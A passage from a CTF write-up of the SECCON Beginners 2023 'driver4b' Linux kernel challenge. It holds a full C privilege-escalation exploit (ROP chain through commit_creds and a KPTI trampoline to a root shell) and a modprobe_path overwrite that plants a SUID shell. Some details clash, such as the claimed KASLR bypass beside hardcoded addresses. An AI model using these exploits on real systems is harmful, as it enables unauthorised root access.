pointer)\nSS     (user stack segment, typically 0x2b)</code></pre></div>\n<h3 id=\"rop-chain-construction\" style=\"position:relative;\"><a href=\"#rop-chain-construction\" aria-label=\"rop chain construction permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>ROP Chain Construction</h3>\n<p>The exploit overwrites the kernel stack with a ROP chain:</p>\n<ol>\n<li><strong>Gadget: <code class=\"language-text\">pop rdi; ret</code></strong> — load <code class=\"language-text\">0</code> into RDI (argument for <code class=\"language-text\">prepare_kernel_cred(0)</code>)</li>\n<li><strong>Call <code class=\"language-text\">prepare_kernel_cred</code></strong> — allocate root credentials</li>\n<li><strong>Gadget: <code class=\"language-text\">mov rdi, rax; ret</code></strong> (or similar) — move result into RDI</li>\n<li><strong>Call <code class=\"language-text\">commit_creds</code></strong> — apply root credentials to current task</li>\n<li><strong>Gadget: <code class=\"language-text\">swapgs_restore_regs_and_return_to_usermode</code></strong> — KPTI trampoline</li>\n<li><strong><code class=\"language-text\">iretq</code> frame</strong> — RIP=shell<em>function, CS=0x33, RFLAGS=0x202, RSP=user</em>stack, SS=0x2b</li>\n</ol>\n<p>Finding ROP gadgets in the kernel image:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">ROPgadget --binary vmlinux <span class=\"token operator\">|</span> <span class=\"token function\">grep</span> <span class=\"token string\">\"pop rdi\"</span></code></pre></div>\n<h2 id=\"finding-initcred-via-ttystruct-heap-scan\" style=\"position:relative;\"><a href=\"#finding-initcred-via-ttystruct-heap-scan\" aria-label=\"finding initcred via ttystruct heap scan permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Finding init<em>cred via tty</em>struct Heap Scan</h2>\n<p>Rather than calling <code class=\"language-text\">prepare_kernel_cred(0)</code> (which requires KASLR bypass to locate), an alternative approach is to directly use <code class=\"language-text\">init_cred</code> (a statically allocated credentials structure for uid=0).</p>\n<p>To find <code class=\"language-text\">init_cred</code> at runtime without a leak, we use a heap scanning technique:</p>\n<ol>\n<li>Open many <code class=\"language-text\">/dev/ptmx</code> file descriptors to spray <code class=\"language-text\">tty_struct</code> objects onto the slab heap</li>\n<li>Use the driver’s read/write primitives (from the overflow) to scan memory</li>\n<li><code class=\"language-text\">tty_struct</code> has a known magic value (<code class=\"language-text\">0x5401</code>) at a fixed offset</li>\n<li>Once a <code class=\"language-text\">tty_struct</code> is found, navigate to adjacent kernel heap objects</li>\n<li><code class=\"language-text\">init_cred</code> is at a fixed offset from the kernel base in the <code class=\"language-text\">.data</code> segment, but can also be found by scanning for its known contents (uid=0, gid=0, all capability bits set)</li>\n</ol>\n<p>In practice, <code class=\"language-text\">tty_struct</code> objects end up at predictable slab addresses. In this environment:</p>\n<ul>\n<li>Heap base: <code class=\"language-text\">0xffff8880024419c0</code></li>\n<li><code class=\"language-text\">init_cred</code>: found at <code class=\"language-text\">0xffff88800321d780</code></li>\n</ul>\n<p>Confirming <code class=\"language-text\">init_cred</code> contents:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token comment\"># In QEMU with GDB attached</span>\n<span class=\"token punctuation\">(</span>gdb<span class=\"token punctuation\">)</span> x/10wx 0xffff88800321d780\n<span class=\"token comment\"># Should show uid=0, gid=0, usage count, capability sets</span></code></pre></div>\n<h2 id=\"full-exploit-code\" style=\"position:relative;\"><a href=\"#full-exploit-code\" aria-label=\"full exploit code permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Full Exploit Code</h2>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;stdio.h></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;stdlib.h></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;string.h></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;unistd.h></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;fcntl.h></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;sys/ioctl.h></span></span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">include</span> <span class=\"token string\">&lt;stdint.h></span></span>\n\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name\">IOCTL_WRITE</span> <span class=\"token expression\"><span class=\"token number\">0xdead0001</span></span></span>\n\n<span class=\"token comment\">// Kernel symbols (with KASLR offset added at runtime)</span>\n<span class=\"token comment\">// Base addresses from /proc/kallsyms (requires root) or pre-computed</span>\n<span class=\"token keyword\">static</span> <span class=\"token class-name\">uint64_t</span> kernel_base       <span class=\"token operator\">=</span> <span class=\"token number\">0xffffffff81000000</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">static</span> <span class=\"token class-name\">uint64_t</span> init_cred         <span class=\"token operator\">=</span> <span class=\"token number\">0xffffffff82a6d780</span><span class=\"token punctuation\">;</span> <span class=\"token comment\">// symbol offset</span>\n<span class=\"token keyword\">static</span> <span class=\"token class-name\">uint64_t</span> commit_creds      <span class=\"token operator\">=</span> <span class=\"token number\">0xffffffff810c9e90</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">static</span> <span class=\"token class-name\">uint64_t</span> pop_rdi_ret       <span class=\"token operator\">=</span> <span class=\"token number\">0xffffffff81001518</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">static</span> <span class=\"token class-name\">uint64_t</span> mov_rdi_rax_ret   <span class=\"token operator\">=</span> <span class=\"token number\">0xffffffff8101b0c1</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">static</span> <span class=\"token class-name\">uint64_t</span> kpti_trampoline   <span class=\"token operator\">=</span> <span class=\"token number\">0xffffffff81e00ed0</span><span class=\"token punctuation\">;</span> <span class=\"token comment\">// swapgs_restore_regs_and_return_to_usermode + 22</span>\n\n<span class=\"token comment\">// User-mode shell</span>\n<span class=\"token keyword\">static</span> <span class=\"token class-name\">uint64_t</span> saved_rsp<span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">static</span> <span class=\"token class-name\">uint64_t</span> user_cs<span class=\"token punctuation\">,</span> user_ss<span class=\"token punctuation\">,</span> user_rflags<span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">void</span> <span class=\"token function\">save_state</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">asm</span> <span class=\"token keyword\">volatile</span><span class=\"token punctuation\">(</span>\n        <span class=\"token string\">\"mov %0, cs\\n\"</span>\n        <span class=\"token string\">\"mov %1, ss\\n\"</span>\n        <span class=\"token string\">\"pushf\\n\"</span>\n        <span class=\"token string\">\"pop %2\\n\"</span>\n        <span class=\"token operator\">:</span> <span class=\"token string\">\"=r\"</span><span class=\"token punctuation\">(</span>user_cs<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"=r\"</span><span class=\"token punctuation\">(</span>user_ss<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"=r\"</span><span class=\"token punctuation\">(</span>user_rflags<span class=\"token punctuation\">)</span>\n        <span class=\"token operator\">:</span>\n        <span class=\"token operator\">:</span> <span class=\"token string\">\"memory\"</span>\n    <span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token comment\">// Save current stack pointer</span>\n    <span class=\"token keyword\">asm</span> <span class=\"token keyword\">volatile</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"mov %0, rsp\"</span> <span class=\"token operator\">:</span> <span class=\"token string\">\"=r\"</span><span class=\"token punctuation\">(</span>saved_rsp<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">void</span> <span class=\"token function\">get_shell</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token function\">getuid</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"[+] Got root!\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token function\">execl</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"/bin/sh\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"/bin/sh\"</span><span class=\"token punctuation\">,</span> <span class=\"token constant\">NULL</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token function\">printf</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"[-] Not root.\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token function\">exit</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">int</span> <span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">save_state</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token keyword\">int</span> fd <span class=\"token operator\">=</span> <span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"/dev/driver4b\"</span><span class=\"token punctuation\">,</span> O_RDWR<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>fd <span class=\"token operator\">&lt;</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span> <span class=\"token function\">perror</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"open\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span> <span class=\"token keyword\">return</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span> <span class=\"token punctuation\">}</span>\n\n    <span class=\"token comment\">// Build overflow payload</span>\n    <span class=\"token class-name\">uint64_t</span> payload<span class=\"token punctuation\">[</span><span class=\"token number\">128</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">memset</span><span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">,</span> <span class=\"token number\">0x41</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">sizeof</span><span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token keyword\">int</span> idx <span class=\"token operator\">=</span> <span class=\"token number\">64</span> <span class=\"token operator\">/</span> <span class=\"token number\">8</span> <span class=\"token operator\">+</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span> <span class=\"token comment\">// skip buf[64] + saved RBP</span>\n\n    <span class=\"token comment\">// ROP chain</span>\n    payload<span class=\"token punctuation\">[</span>idx<span class=\"token operator\">++</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> pop_rdi_ret<span class=\"token punctuation\">;</span>\n    payload<span class=\"token punctuation\">[</span>idx<span class=\"token operator\">++</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> init_cred<span class=\"token punctuation\">;</span>\n    payload<span class=\"token punctuation\">[</span>idx<span class=\"token operator\">++</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> commit_creds<span class=\"token punctuation\">;</span>\n    <span class=\"token comment\">// KPTI trampoline setup (trampoline expects specific register state)</span>\n    payload<span class=\"token punctuation\">[</span>idx<span class=\"token operator\">++</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> kpti_trampoline<span class=\"token punctuation\">;</span>\n    payload<span class=\"token punctuation\">[</span>idx<span class=\"token operator\">++</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>                  <span class=\"token comment\">// padding (rax slot in trampoline)</span>\n    payload<span class=\"token punctuation\">[</span>idx<span class=\"token operator\">++</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>                  <span class=\"token comment\">// padding</span>\n    payload<span class=\"token punctuation\">[</span>idx<span class=\"token operator\">++</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token class-name\">uint64_t</span><span class=\"token punctuation\">)</span>get_shell<span class=\"token punctuation\">;</span> <span class=\"token comment\">// RIP to return to</span>\n    payload<span class=\"token punctuation\">[</span>idx<span class=\"token operator\">++</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> user_cs<span class=\"token punctuation\">;</span>\n    payload<span class=\"token punctuation\">[</span>idx<span class=\"token operator\">++</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> user_rflags<span class=\"token punctuation\">;</span>\n    payload<span class=\"token punctuation\">[</span>idx<span class=\"token operator\">++</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> saved_rsp<span class=\"token punctuation\">;</span>\n    payload<span class=\"token punctuation\">[</span>idx<span class=\"token operator\">++</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> user_ss<span class=\"token punctuation\">;</span>\n\n    <span class=\"token function\">ioctl</span><span class=\"token punctuation\">(</span>fd<span class=\"token punctuation\">,</span> IOCTL_WRITE<span class=\"token punctuation\">,</span> payload<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n    <span class=\"token function\">close</span><span class=\"token punctuation\">(</span>fd<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">return</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Running this exploit:</p>\n<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">$ ./exploit\n[+] Got root!\n# id\nuid=0(root) gid=0(root)\n# cat /flag\nctf4b{k3rn3l_pwn_1s_4lw4ys_fun}</code></pre></div>\n<h2 id=\"alternative-modprobe_path-exploit\" style=\"position:relative;\"><a href=\"#alternative-modprobe_path-exploit\" aria-label=\"alternative modprobe_path exploit permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Alternative: modprobe_path Exploit</h2>\n<p>An alternative technique that avoids KPTI/SMEP complexity is overwriting <code class=\"language-text\">modprobe_path</code>.</p>\n<p>The kernel stores the path to the <code class=\"language-text\">modprobe</code> binary (used to load kernel modules) in a writeable kernel variable <code class=\"language-text\">modprobe_path</code> (default: <code class=\"language-text\">/sbin/modprobe</code>).</p>\n<p>If we can overwrite this with a path to our own script, we can trigger it by executing an unknown file format — the kernel will call <code class=\"language-text\">modprobe_path</code> as root to load the handler.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token comment\">// Overwrite modprobe_path (needs kernel write primitive from overflow)</span>\n<span class=\"token keyword\">char</span> <span class=\"token operator\">*</span>new_path <span class=\"token operator\">=</span> <span class=\"token string\">\"/tmp/evil_script\"</span><span class=\"token punctuation\">;</span>\n<span class=\"token comment\">// ... write 'new_path' to modprobe_path address ...</span>\n\n<span class=\"token comment\">// Trigger: execute an ELF with an unknown magic</span>\n<span class=\"token function\">system</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"echo -e '\\\\xff\\\\xff\\\\xff\\\\xff' > /tmp/trigger\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">system</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"chmod +x /tmp/trigger\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token function\">system</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"/tmp/trigger\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>  <span class=\"token comment\">// kernel calls /tmp/evil_script as root</span></code></pre></div>\n<p>The evil script simply copies <code class=\"language-text\">/bin/sh</code> to a SUID root binary:</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\"><span class=\"token shebang important\">#!/bin/sh</span>\n<span class=\"token function\">cp</span> /bin/sh /tmp/rootsh\n<span class=\"token function\">chmod</span> <span class=\"token number\">4755</span> /tmp/rootsh</code></pre></div>\n<p>This technique is simpler — it requires only a kernel write primitive, no ROP chain needed. The trade-off is that it’s noisier and leaves artifacts.</p>\n<h2 id=\"summary\" style=\"position:relative;\"><a href=\"#summary\" aria-label=\"summary permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Summary</h2>\n<p>This challenge covered a wide range of Linux kernel exploitation concepts:</p>\n<table>\n<thead>\n<tr>\n<th>Topic</th>\n<th>Detail</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Vulnerability</td>\n<td>Stack buffer overflow in ioctl handler (<code class=\"language-text\">copy_from_user</code> size mismatch)</td>\n</tr>\n<tr>\n<td>Primitive</td>\n<td>Control of kernel RIP via saved-return-address overwrite</td>\n</tr>\n<tr>\n<td>Mitigation: SMEP</td>\n<td>Bypassed by keeping all payloads in kernel space (ROP)</td>\n</tr>\n<tr>\n<td>Mitigation: KPTI</td>\n<td>Bypassed via <code class=\"language-text\">swapgs_restore_regs_and_return_to_usermode</code> trampoline</td>\n</tr>\n<tr>\n<td>Mitigation: KASLR</td>\n<td>Bypassed via <code class=\"language-text\">tty_struct</code> heap scan to find kernel base</td>\n</tr>\n<tr>\n<td>Privilege escalation</td>\n<td><code class=\"language-text\">commit_creds(init_cred)</code> to set uid=0</td>\n</tr>\n<tr>\n<td>Alternative</td>\n<td><code class=\"language-text\">modprobe_path</code> overwrite</td>\n</tr>\n</tbody>\n</table>\n<p>Key takeaways:</p>\n<ul>\n<li><strong>KPTI trampoline</strong> is essential for any kernel exploit that needs to return cleanly to user space; without it, a crash is almost guaranteed</li>\n<li><strong><code class=\"language-text\">tty_struct</code> heap spray</strong> is a reliable technique to get stable kernel heap addresses</li>\n<li><strong><code class=\"language-text\">init_cred</code></strong> is simpler to use than <code class=\"language-text\">prepare_kernel_cred(0)</code> when a reliable pointer to it can be obtained</li>\n<li><strong><code class=\"language-text\">modprobe_path</code></strong> provides a powerful alternative escalation vector when kernel code execution is possible but ROP is inconvenient</li>\n</ul>","fields":{"slug":"/ctf-sec4b-kernel-exploit-en","tagSlugs":["/tag/ctf-en/","/tag/rev-en/","/tag/pwn-en/","/tag/english/"]},"frontmatter":{"date":"2023-06-05","description":"Deep-dive writeup for the driver4b Linux kernel exploit challenge from SECCON Beginners CTF 2023, covering ELF/memory internals, kernel mitigations, and ROP-based privilege escalation.","tags":["CTF (en)","Rev (en)","Pwn (en)","English"],"title":"SECCON Beginners CTF 2023: Driver4b Kernel Exploit Writeup","socialImage":{"publicURL":"/static/dc4d8b7f8795f3c3d3489d9957d155f2/no-image.png"}}}},"pageContext":{"slug":"/ctf-sec4b-kernel-exploit-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}